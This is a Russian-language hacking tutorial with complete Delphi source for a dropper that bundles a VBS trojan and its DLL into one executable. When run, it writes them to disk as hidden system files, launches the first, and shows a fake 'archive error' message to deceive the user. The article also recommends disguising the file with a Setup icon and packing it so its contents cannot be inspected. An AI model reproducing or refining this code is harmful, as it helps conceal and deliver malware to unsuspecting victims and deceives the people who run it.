Я не люблю писать вступления… Нам нужно запихать 2 файла в один и тому может быть ряд причин.
Например у нас есть vbs-троян, который использует одну DLLку.

Цель: Нужно умудриться запихать два файла в один с минимальным приростом размера.
Нужно сделать так, что бы нельзя было узнать содержимое этих файлов.
Желательно лёгкое расширение кода на несколько файлов (более 2-ух).

Берём Delphi, хотя код написан на WinAPI, так что его можно попробовать
перенести на другой язык...

Итак. Создаём пустой проект. File->Create->Application.
Удаляем из проекта формы. Project->Remove from
proect->Unit1->OK. Открываем окно ресурсов.
Project->Resources. Добавляем два ресурса. Правый клик в появившемся окне -> New -> User Data.

Первый – файл, который будет выполнен, причём файл может быть абсолютно любой,
даже TXT. Результат будет всё равно что вписать этот файл в Пуск -> Выполнить.
Второй – файл данных (например, DLLка).

В итоге должно получится примерно так:

Обратим внимание, что два добавленных
ресурса появились в секции RCDATA и назвались RCDATA_1 (исполняемый файл) и RCDATA_2 (дополнительный). По этим
именам мы их и будем искать.

Так – с ресурсами разобрались, теперь пишем код.
Делаем Project -> View Source. Удаляем из uses всё и пишем туда Windows и
ShellAPI. Исходный код я напишу в конце, а здесь я всё объясню.

Сначала нам нужно найти свой модуль (EXEшник) в памяти:
GetModuleHandle(nil); 

После вызовем нашу, пока ещё не созданную, процедуру SaveResource, которая будет
сохранять Ресурс, находя его по имени из нашего EXEшника на диск. Сам код
процедуры SaveResource будет описан ниже.

После всего выполняем полученный файл, причём в скрытом
режиме, добавив SW_HIDE: ShellExecute(0, nil, (FileName1), nil, nil, SW_HIDE);

И, для запудривания мозгов Юзеру, напишем что-то типа этого:

MessageBox(0, PChar('Error while reading contents of archive.'#13 +
#13'If you downloaded this file, try downloading the file again'), PChar('Setup'), MB_OK OR MB_ICONERROR);

procedure SaveResource

Нашей процедуре мы будем передавать 3 параметра: Наш модуль, Имя сохраняемого
ресурса и Имя файла.

Сначала нужно найти необходимый ресурс в памяти в секции RCDATA по имени.

FindResource(Module, ResourceName, RT_RCDATA);

После - загрузим его.

LoadResource(Module, Resource);

Для сохранения нам нужен его размер. Почему-то Delphi при добавлении ресурса
как-то округляет его размер, дописывая в конец пару
символов с кодом 00. Это стоит учитывать, но в большинстве случаев это не опасно (даже для
binary-файлов!). 

Size := SizeofResource(Module, Resource);

Удалим файл, в который будем писать, если он существует.

DeleteFile(FileName);

После открываем (создаём) файл с нужным нам именем. Если путь не указывать, то
файл создастся в текущей папке, т.е. в папке ЕХЕшника. Так же поставим файлу
атрибуты скрытый и системный.

F := CreateFile(FileName, Generic_Write, 0, nil, Create_Always,
{attributes 😉 :}
(FILE_ATTRIBUTE_ARCHIVE
OR FILE_ATTRIBUTE_HIDDEN
OR FILE_ATTRIBUTE_SYSTEM), 0);

Если файл не создался, то выходим :

IF F = INVALID_HANDLE_VALUE
THEN Exit;

Что бы не мучиться с организацией поблоковой записи и
сэкономить размер будем записывать побайтно. Всё равно Ось с её КЭШем всё это проглотит. 

for I := 0 to Size-1
do WriteFile(F, Byte(Pointer(LoadedResource+I)^), 1, Wn, nil);

Ну, и на последок закроем файл.

CloseHandle(F);

Компилим. Смотрим. Запускаем 😉 Файлик получился на 9 кило с иконкой, и на 8 без
неё (минимум для Delphi) + размер запиханных фалов.

Так же желательно сменить иконку файла со стандартной Delphi-йской на иконку от
Setupа.

После всех манипуляций полученный файл можно сжать тем же ASPck'ом. Получится
типа архива, у которого нельзя просмотреть внутренности. Да и сайз уменьшится
раза в 2, а после "выплёвывания" фалов они будут в первозданном виде.

//(c) Vasily L. D.
program Project1;

uses
Windows,
ShellAPI;

{$R *.res}

const
FileName1: PChar = PChar('last.exe'); //это имя файла, в который будет сохранён первый ресурс
FileName2: PChar = PChar('data.txt'); //а сюда - второй

procedure SaveResource(Module: HModule; ResourceName: PChar; FileName: PChar);
var
Resource: hRSrc;
LoadedResource: HGlobal;
F: Cardinal;//equ hObject 8/
Size: DWord;
I: DWord;
Wn: DWord;
begin
Resource := FindResource(Module, ResourceName, RT_RCDATA);
LoadedResource := LoadResource(Module, Resource);
Size := SizeofResource(Module, Resource);
DeleteFile(FileName);
F := CreateFile(FileName, Generic_Write, 0, nil, Create_Always,
(FILE_ATTRIBUTE_ARCHIVE
OR FILE_ATTRIBUTE_HIDDEN
OR FILE_ATTRIBUTE_SYSTEM), 0);
IF F = INVALID_HANDLE_VALUE
THEN Exit;

for I := 0 to Size-1
do WriteFile(F, Byte(Pointer(LoadedResource+I)^), 1, Wn, nil);

CloseHandle(F);
end;

{xxxxxxxxxxxxxxxxххххххххххxxxx}
{xx Main procedure begins here xx}
{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

var
Module: HModule;
begin
Module := GetModuleHandle(nil);

SaveResource(Module, PChar('RCDATA_1'), FileName1);
SaveResource(Module, PChar('RCDATA_2'), FileName2);

ShellExecute(0, nil, FileName1, nil, nil, SW_Show);

MessageBox(0, PChar('Error while reading contents of archive.'#13 +
#13'If you downloaded this file, try downloading the file again'),
PChar('Setup'), MB_OK OR MB_ICONERROR);
end.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии